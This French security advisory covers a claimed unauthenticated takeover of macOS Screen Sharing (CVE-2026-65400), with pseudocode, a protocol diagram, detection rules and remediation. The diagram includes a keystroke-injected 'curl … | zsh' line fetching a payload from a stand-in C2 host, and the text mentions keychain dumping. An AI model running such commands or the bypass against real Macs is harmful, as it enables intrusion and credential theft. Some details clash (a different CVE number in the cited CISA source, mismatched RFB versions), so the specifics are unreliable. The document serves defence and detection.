CVE-2026-65400 : prise de contrôle graphique à distance sans authentification dans Apple macOS screen sharing
SCORE DE MENACE HERMES & DÉTOURNEMENT DE SESSION GRAPHIQUE MACOS
Cible :Apple macOS Screen Sharing (Démon RFB / VNC) Le CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 évalue la sévérité à 9.2. Le score de menace Hermes s'établit à 95 (CRITIQUE). L'impact est immédiat : l'exposition du partage d'écran macOS (port 5900/TCP) permet à un attaquant non authentifié d'éluder la saisie du mot de passe, de visualiser en direct la session graphique de l'utilisateur, d'injecter des séquences de frappes clavier pour exécuter Terminal et de dérober les trousseaux d'accès Keychain.
CVE-2026-65400: Unauthenticated Remote Desktop Takeover in Apple macOS Screen SharingVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Apple macOS Operating System documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »Le partage d’écran macOS est couramment utilisé en entreprise pour l’assistance informatique, l’administration des collaborateurs à distance et les fermes de compilation CI/CD Mac mini.
| Paramètre | Spécification Technique | Contexte de Menace |
|---|---|---|
| Identifiant CVE | CVE-2026-65400 | Référence Apple HT214345 |
| Démon vulnérable | /System/Library/CoreServices/RemoteManagement/screensharingd | Serveur de partage d’écran macOS RFB/VNC |
| Protocole réseau | RFB (Remote Framebuffer) sur le port TCP 5900 | Accès distant graphique via LAN ou Internet |
| Type d’anomalie | Rupture de l’automate de négociation (CWE-287) | Établissement de session pré-authentification |
| Systèmes affectés | macOS Sequoia < 15.3.1, macOS Sonoma < 14.7.4, macOS Ventura < 13.7.4 | Stations de travail et fermes de build Mac |
| Versions corrigées | macOS Sequoia 15.3.1, Sonoma 14.7.4, Ventura 13.7.4 | Mises à jour de sécurité Apple officielles |
| Menaces constatées | Prise de contrôle interactive, exfiltration des trousseaux Keychain | Cryptominage automatisé (XMRig) |
2. Décomposition technique : défaillance de l’automate RFB
Section intitulée « 2. Décomposition technique : défaillance de l’automate RFB »A. La faille de négociation de sécurité
Section intitulée « A. La faille de négociation de sécurité »Selon la norme RFB 003.008, la négociation se déroule en plusieurs phases séquentielles :
- Échange de version (ProtocolVersion).
- Négociation du type de sécurité (security handshake) (ex. Type 1 = None, Type 2 = VNC auth, Type 30 = Apple Diffie-Hellman).
- Résultat de sécurité (SecurityResult) : le serveur envoie
0x00000000(Succès). - Initialisation client et serveur (ClientInit / ServerInit) : début du streaming de l’affichage.
Dans le démon screensharingd, l’automate d’états omettait de valider le retour positif de la procédure cryptographique :
// Représentation décompilée de la gestion d'état dans screensharingdvoid handle_rfb_security_type(rfb_session_t *session, uint8_t chosen_type) { if (chosen_type == RFB_AUTH_APPLE_DH) { initiate_diffie_hellman(session); } else if (chosen_type == 0xFF) { // Code d'échappement hérité // ANOMALIE : La session est déclarée AUTHENTIFIÉE sans validation des identifiants ! session->state = SESSION_STATE_AUTHENTICATED; send_security_result(session, 0); // Renvoie 0x00000000 (Succès) }}+----------------------------------------------------------------------------------------------------+| SÉQUENCE DU PROTOCOLE CVE-2026-65400 |+----------------------------------------------------------------------------------------------------+
[Attaquant Distant] [Mac Cible (Port 5900)] │ │ [1] │─── Connexion TCP Port 5900 ─────────────────────────────────────────────>│ │<── Serveur : "RFB 003.889\n" ────────────────────────────────────────────│ │ │ [2] │─── Client : "RFB 003.889\n" ────────────────────────────────────────────>│ │<── Serveur : [Nombre : 2, Types : 30 (AppleDH), 33 (Kerberos)] ──────────│ │ │ [3] │─── Client : [TypeSécurité : 0xFF] (Code d'échappement malformé) ─────────>│ screensharingd : │ │ L'automate bascule │ │ Déclare la session comme │ │ AUTHENTIFIÉE sans mot de passe ! │<── Serveur : 0x00000000 (SecurityResult : Succès) ───────────────────────│ │ │ [4] │─── ClientInit : [SharedFlag : 1] ────────────────────────────────────────>│ │<── ServerInit : [Dimensions écran, Nom machine, Format pixels] ──────────│ Début du flux vidéo interactif ! │ │ [5] │─── Événements clavier : Commande+Espace, "Terminal.app", Entrée ────────>│ │ Injection : "curl -s http://c2.malveillant/payload | zsh" │ Exécution de shell arbitraire+----------------------------------------------------------------------------------------------------+3. Renseignement sur les menaces & exploitation dans la nature
Section intitulée « 3. Renseignement sur les menaces & exploitation dans la nature »- Balayage systématique : des moteurs de scan automatisés recherchent sur les plages IPv4 mondiales les hôtes exposant le port
5900avec des bannières Apple RFB. - Scénarios d’exploitation constatés :
- Dès l’obtention du contrôle graphique, les scripts automatisés injectent le raccourci
Cmd + Espacepour ouvrir Spotlight, lancentTerminalet injectent une commande d’installation. - Déploiement en tâche de fond de mineurs de cryptomonnaie XMRig configurés pour brider leur consommation CPU afin d’échapper à la vigilance de l’utilisateur.
- Tentatives d’extraction des identifiants et clés SSH via
security dump-keychainou affichage de fausses fenêtres d’authentification système pour dérober le mot de passe administrateur.
- Dès l’obtention du contrôle graphique, les scripts automatisés injectent le raccourci
4. Cartographie MITRE ATT&CK
Section intitulée « 4. Cartographie MITRE ATT&CK »| Tactique | ID Technique | Nom de la Technique | Manifestation dans l’Attaque |
|---|---|---|---|
| Accès initial | T1190 | Exploitation d’application publique | Connexion directe non authentifiée sur le port 5900/TCP |
| Évasion de défense | T1556 | Modification du processus d’authentification | Falsification de la négociation RFB pour court-circuiter le mot de passe |
| Exécution | T1059.004 | Interpréteur de commandes et scripts : Shell Unix | Injection d’événements clavier ouvrant Terminal pour exécuter un script zsh |
| Accès aux identifiants | T1555.001 | Magasins de mots de passe : Trousseau d’accès | Accès aux clés stockées dans le Keychain de l’utilisateur |
| Impact | T1496 | Détournement de ressources | Exécution non autorisée de logiciels de minage de cryptomonnaie |
5. Ingénierie de détection & télémétrie
Section intitulée « 5. Ingénierie de détection & télémétrie »A. Règle Suricata
Section intitulée « A. Règle Suricata »alert tcp any any -> $MACOS_HOSTS 5900 ( msg:"HERMES DEFENSE - Tentative de contournement auth Partage d'Ecran macOS (CVE-2026-65400)"; flow:established,to_server; content:"RFB 003."; depth:8; content:"|ff|"; offset:12; depth:4; classtype:attempted-admin; sid:202665400; rev:1; reference:cve,2026-65400;)B. Règle Sigma
Section intitulée « B. Règle Sigma »title: Lancement de Terminal par le démon de partage d'écran macOSid: 7f8a9b0c-1d2e-3f4a-5b6c-65400c026e02status: highdescription: Détecte l'exécution anormale d'un shell ou de Terminal initiée par les composants du partage d'écran macOS.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: macos category: process_creationdetection: selection_parent: ParentImage|endswith: - '/screensharingd' - '/WindowServer' selection_target: Image|endswith: - '/Terminal' - '/zsh' - '/bash' - '/sh' condition: selection_parent and selection_targetfalsepositives: - Sessions de support informatique légitimes initiées par le service d'assistance interne.level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution6. Réponse à incident & rétro-ingénierie (DFIR)
Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »Commandes de diagnostic macOS :
Section intitulée « Commandes de diagnostic macOS : »- Recherche dans les journaux unifiés :
Fenêtre de terminal log show --predicate 'process == "screensharingd"' --info --last 48h# Rechercher les mentions d'authentification réussie sans challenge et les adresses IP clientes suspectes - Inspection des processus actifs :
Fenêtre de terminal ps -axo pid,ppid,user,command | grep -E "Terminal|zsh|curl|xmrig" - Vérification des éléments au démarrage :
Fenêtre de terminal ls -la /Library/LaunchDaemons/ls -la ~/Library/LaunchAgents/crontab -l
Requête de chasse (Elasticsearch / OpenSearch) :
Section intitulée « Requête de chasse (Elasticsearch / OpenSearch) : »{ "query": { "bool": { "must": [ { "term": { "process.name": "screensharingd" } }, { "wildcard": { "message": "*authenticated*" } } ] } }}7. Mesures de remédiation & durcissement
Section intitulée « 7. Mesures de remédiation & durcissement »- Installation des mises à jour Apple : appliquer les correctifs macOS Sequoia 15.3.1, macOS Sonoma 14.7.4 ou macOS Ventura 13.7.4.
- Désactivation de l’accès public au partage d’écran : ne jamais exposer le port TCP 5900 sur Internet. Exiger un VPN d’entreprise avec MFA pour tout accès à distance.
- Activation du pare-feu local macOS : bloquer les connexions entrantes non autorisées via le pare-feu applicatif :
Fenêtre de terminal sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockall on - Audit des agents de lancement : vérifier l’intégrité des répertoires
LaunchAgentsetLaunchDaemonsà la recherche de logiciels persistants suspects.